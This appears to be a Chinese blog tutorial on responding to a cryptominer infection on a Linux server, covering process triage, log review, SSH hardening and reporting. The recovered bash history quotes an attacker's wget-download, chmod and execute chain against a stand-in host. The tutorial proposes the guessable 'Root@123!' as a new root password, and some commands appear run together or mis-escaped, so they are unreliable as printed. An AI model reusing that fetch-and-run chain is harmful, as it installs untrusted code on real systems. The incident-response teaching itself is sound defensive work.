返回文章列表
网络安全

服务器被入侵了怎么办?服务器被入侵后的处置步骤

张工
2025-11-28
6天前
服务器被入侵了怎么办?服务器被入侵后的处置步骤

我刚转行安全运维时,第一次处理服务器入侵 —— 看到服务器 CPU 占用 100%、满屏陌生进程,完全不知道从哪下手。后来才明白:应急响应有标准化流程,按 “发现告警→初步处置→入侵分析→漏洞修复→加固总结” 一步步来,就能快速控制风险。本文以 “Linux 服务器被植入挖矿程序” 为例,讲解完整应急响应步骤,每个环节都给具体命令和工具,转行安全运维的同学跟着做就能掌握核心技能。

一、先搞懂:应急响应是什么?安全运维为什么必须会?

1. 应急响应定位

应急响应是指 “服务器或网络发生安全事件(如入侵、勒索、挖矿)后,为控制风险、减少损失而采取的一系列处置措施”,核心目标是 “止损→溯源→修复→加固”。

2. 适合安全运维转行的 3 个原因

  • 岗位刚需:企业服务器难免被入侵,应急响应是安全运维的核心工作之一;
  • 流程标准化:有成熟的处置流程(如 PDCERF 模型),新手易上手;
  • 技能通用:涉及日志分析、进程管理、漏洞修复,贴合安全运维岗位需求。

3. 必备工具(免费,Linux 服务器为主)

工具核心功能适用场景
top/htop查看系统进程、CPU / 内存占用发现异常进程(如挖矿程序)
netstat/ss查看网络连接定位恶意 IP(如挖矿矿池地址)
find/grep查找恶意文件定位后门、挖矿程序
ELK Stack日志集中分析溯源攻击时间与路径
chkconfig/systemctl管理系统服务禁用恶意服务
clamscan开源杀毒软件扫描恶意文件

二、实战案例:Linux 服务器被植入挖矿程序(应急响应全流程)

场景描述

某企业 Linux 服务器(Ubuntu 20.04,IP:192.168.1.108)突然卡顿,Zabbix 监控告警 “CPU 使用率 100%”“网络带宽异常占用”,初步判断被入侵植入挖矿程序。

阶段 1:发现与初步处置(快速止损,避免损失扩大)

核心目标:切断恶意连接、控制风险范围,为后续分析争取时间。

步骤 1:远程登录服务器,确认异常

  1. 登录服务器:ssh root@192.168.1.108(若 SSH 登录慢,可能是恶意进程占用资源);
  2. 查看 CPU 占用:执行top,发现进程kworker(实际是挖矿程序伪装名)CPU 占用 95%,PID:12345;
  3. 查看网络连接:执行netstat -antp | grep ESTABLISHED,发现12345进程连接 IP:10.10.10.10:443(疑似矿池地址)。

步骤 2:初步处置(4 个关键操作)

  1. 终止恶意进程:
kill -9 12345  # 强制杀死挖矿进程# 若进程反复重启,先查看进程父ID,杀死父进程:ps -ef | grep kworker  # 查看父ID(PPID),如PPID=12300kill -9 12300
  1. 阻断恶意 IP 连接:
iptables -A INPUT -s 10.10.10.10 -j DROP  # 禁止恶意IP访问iptables -A OUTPUT -d 10.10.10.10 -j DROP  # 禁止服务器连接恶意IP
  1. 备份关键日志(避免被篡改):
tar -zcvf /var/log/backup_logs_20251127.tar.gz /var/log/  # 备份所有系统日志cp /var/log/auth.log /root/auth_backup.log  # 单独备份SSH登录日志(溯源关键)
  1. 隔离服务器(可选,若风险高):
  • 临时断开服务器公网连接(如在路由器中禁用该服务器 IP 的公网访问),避免攻击者进一步渗透。

阶段 2:入侵分析(溯源攻击路径,定位漏洞)

核心目标:搞清楚 “攻击者怎么进来的”“做了什么操作”,为后续修复提供依据。

步骤 1:分析恶意文件与进程

  1. 查找恶意文件:
  • 根据进程 PID 查找文件路径:ls -l /proc/12345/exe(显示/tmp/kworker,恶意文件路径);
  • 查找同目录下的恶意文件:find /tmp -name “kworker” -exec rm -rf {} ;(删除 /tmp 目录下的恶意文件);
  • 扫描全盘恶意文件:clamscan -r / --bell -i(clamscan 开源杀毒,-r递归扫描,-i只显示感染文件)。
  1. 检查开机自启项(防止恶意进程重启):
# 查看系统服务自启systemctl list-unit-files | grep enabled | grep -v "systemd"  # 过滤异常自启服务# 查看rc.local自启脚本cat /etc/rc.local  # 若存在`/tmp/kworker &`,删除该语句# 查看用户自启(如root用户的.bashrc)cat /root/.bashrc  # 若存在恶意命令,删除并保存

步骤 2:分析日志,溯源攻击路径

  1. SSH 登录日志分析(判断是否暴力破解):
grep "Accepted password" /var/log/auth.log  # 查看成功登录记录grep "Failed password" /var/log/auth.log | grep -i "root"  # 查看root用户登录失败记录
  • 结果:发现2025-11-27 02:30:00,IP 203.0.113.10 成功登录 root 用户,密码123456(弱密码暴力破解)。
  1. Web 访问日志分析(判断是否 Web 漏洞入侵):
  • 若服务器运行 Web 服务,查看 Apache/Nginx 日志:
grep "POST" /var/log/apache2/access.log | grep -i "shell"  # 查找可疑POST请求
  • 结果:未发现 Web 漏洞利用痕迹,确认入侵路径为 “SSH 弱密码暴力破解”。
  1. 命令历史分析(查看攻击者操作):
cat /root/.bash_history  # 查看root用户命令历史
  • 结果:攻击者执行wget http://10.10.10.10/kworker -O /tmp/kworker(下载挖矿程序)、chmod +x /tmp/kworker(赋予执行权限)、/tmp/kworker &(后台运行)。

阶段 3:漏洞修复(封堵入侵入口)

核心目标:修复导致入侵的漏洞,防止攻击者再次进入。

步骤 1:修复 SSH 弱密码漏洞

  1. 修改 root 密码:
passwd root  # 输入新密码(如`Root@123!`,8位以上含字母、数字、特殊字符)
  1. 禁用 root 直接 SSH 登录:
vi /etc/ssh/sshd_config# 修改:PermitRootLogin no(禁用root登录)# 添加:AllowUsers admin(只允许admin用户SSH登录,需提前创建admin用户:useradd admin; passwd admin)systemctl restart sshd  # 重启SSH服务生效
  1. 限制 SSH 登录 IP(可选,若有固定办公 IP):
vi /etc/hosts.allow# 添加:sshd: 192.168.1.0/24  # 只允许192.168.1.0网段登录SSHvi /etc/hosts.deny# 添加:sshd: ALL  # 拒绝其他所有IP登录SSH

步骤 2:清理残余恶意文件与服务

  1. 删除恶意定时任务(防止挖矿程序重启):
crontab -l  # 查看当前用户定时任务crontab -e  # 删除可疑定时任务(如`* * * * * /tmp/kworker`)# 查看系统定时任务ls -l /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/  # 删除可疑定时任务文件
  1. 检查并删除恶意用户:
cat /etc/passwd | grep -v "nologin"  # 查看可登录用户# 若发现陌生用户(如`miner:x:1001:1001::/home/miner:/bin/bash`),删除:userdel -r miner  # `-r`同时删除用户家目录

阶段 4:加固与总结(提升服务器安全性,避免再次入侵)

步骤 1:系统加固(6 个关键操作)

  1. 升级系统补丁:
apt update && apt upgrade -y  # Ubuntu系统升级# CentOS系统:yum update -y
  1. 关闭不必要端口:
# 查看开放端口:ss -tuln# 关闭21(FTP)、3306(MySQL,若无需公网访问)端口:iptables -A INPUT -p tcp --dport 21 -j DROPiptables -A INPUT -p tcp --dport 3306 -j DROP# 保存iptables规则(Ubuntu):iptables-save > /etc/iptables/rules.v4
  1. 安装防火墙与入侵检测工具:
apt install ufw fail2ban -y  # 安装UFW防火墙和fail2ban(防止SSH暴力破解)ufw enable  # 启用UFW防火墙ufw allow 22/tcp  # 允许SSH端口ufw allow 80/tcp  # 允许HTTP端口(若有Web服务)fail2ban-client start  # 启动fail2ban,自动封禁多次登录失败的IP
  1. 开启日志审计:
apt install auditd -y  # 安装审计工具auditctl -a exit,always -F arch=b64 -F euid=0 -F exe=/usr/bin/ssh  # 审计root用户的SSH操作
  1. 禁用不必要的系统服务:
systemctl disable vsftpd  # 禁用FTP服务(若不用)systemctl disable rpcbind  # 禁用RPC服务
  1. 定期备份数据:
  • 设置定时备份:crontab -e添加0 0 * * * /usr/bin/rsync -av /data /backup(每天凌晨备份 /data 目录到 /backup)。

步骤 2:编写应急响应报告

报告核心内容:
  1. 事件概述:
  • 事件类型:Linux 服务器被植入挖矿程序;
  • 影响范围:1 台应用服务器(192.168.1.108),CPU 占用 100%,影响业务正常运行;
  • 处置时间:2025-11-27 09:00-11:30。
  1. 入侵溯源:
  • 入侵路径:SSH 弱密码(root/123456)暴力破解,攻击者 IP:203.0.113.10;
  • 攻击者操作:下载并运行挖矿程序(/tmp/kworker),连接矿池 10.10.10.10:443;
  • 恶意文件:/tmp/kworker(已删除)。
  1. 处置措施:
  • 初步处置:杀死挖矿进程、阻断恶意 IP、备份日志;
  • 漏洞修复:修改 root 密码、禁用 root SSH 登录、清理恶意文件与定时任务;
  • 系统加固:升级补丁、安装 fail2ban、开启审计、禁用不必要服务。
  1. 预防建议:
  • 密码策略:所有服务器密码需 8 位以上,包含字母、数字、特殊字符,每 90 天更换;
  • 访问控制:SSH 登录只允许指定 IP 和普通用户,禁用 root 直接登录;
  • 监控告警:配置 Zabbix 监控 CPU、内存、网络带宽,异常时触发邮件告警;
  • 定期巡检:每周扫描服务器恶意文件与漏洞,每月进行应急响应演练。
简历写法:

“独立处理 Linux 服务器挖矿程序入侵事件,通过 top/netstat 定位恶意进程与矿池 IP,kill 进程并阻断连接,分析 auth.log 溯源 SSH 弱密码入侵路径,修改密码并禁用 root SSH 登录,清理恶意文件与定时任务,编写应急响应报告,提出 6 项系统加固措施,后续服务器未再发生同类入侵”。

三、新手避坑:应急响应 3 个常见错误

  1. 直接删除恶意文件,未备份日志:
  • 后果:无法溯源攻击者操作,后续无法分析入侵路径;
  • 正确做法:先备份/var/log/所有日志,再进行后续操作。
  1. 杀死恶意进程后未检查自启项:
  • 后果:服务器重启后,恶意进程再次运行;
  • 正确做法:杀死进程后,检查crontab、/etc/rc.local、/root/.bashrc等自启项,删除可疑配置。
  1. 只修复表面漏洞,未彻底加固
  • 后果:攻击者通过其他漏洞再次入侵;
  • 正确做法:修复入侵漏洞后,升级系统补丁、关闭不必要端口、安装入侵检测工具,形成完整加固体系。

四、总结

应急响应的核心是 “流程化处置 + 溯源分析 + 彻底加固”—— 新手不用怕服务器入侵,按 “初步处置→入侵分析→漏洞修复→加固总结” 一步步来,就能快速控制风险。建议多进行应急响应演练(如模拟挖矿程序入侵),熟悉工具命令和处置流程,为安全运维岗位积累实战经验。评论区说说你遇到的服务器异常情况,帮你分析处置方案!


本文内容仅供参考,不构成任何专业建议。使用本文提供的信息时,请自行判断并承担相应风险。

分享文章
合作伙伴

本站所有广告均是第三方投放,详情请查询本站用户协议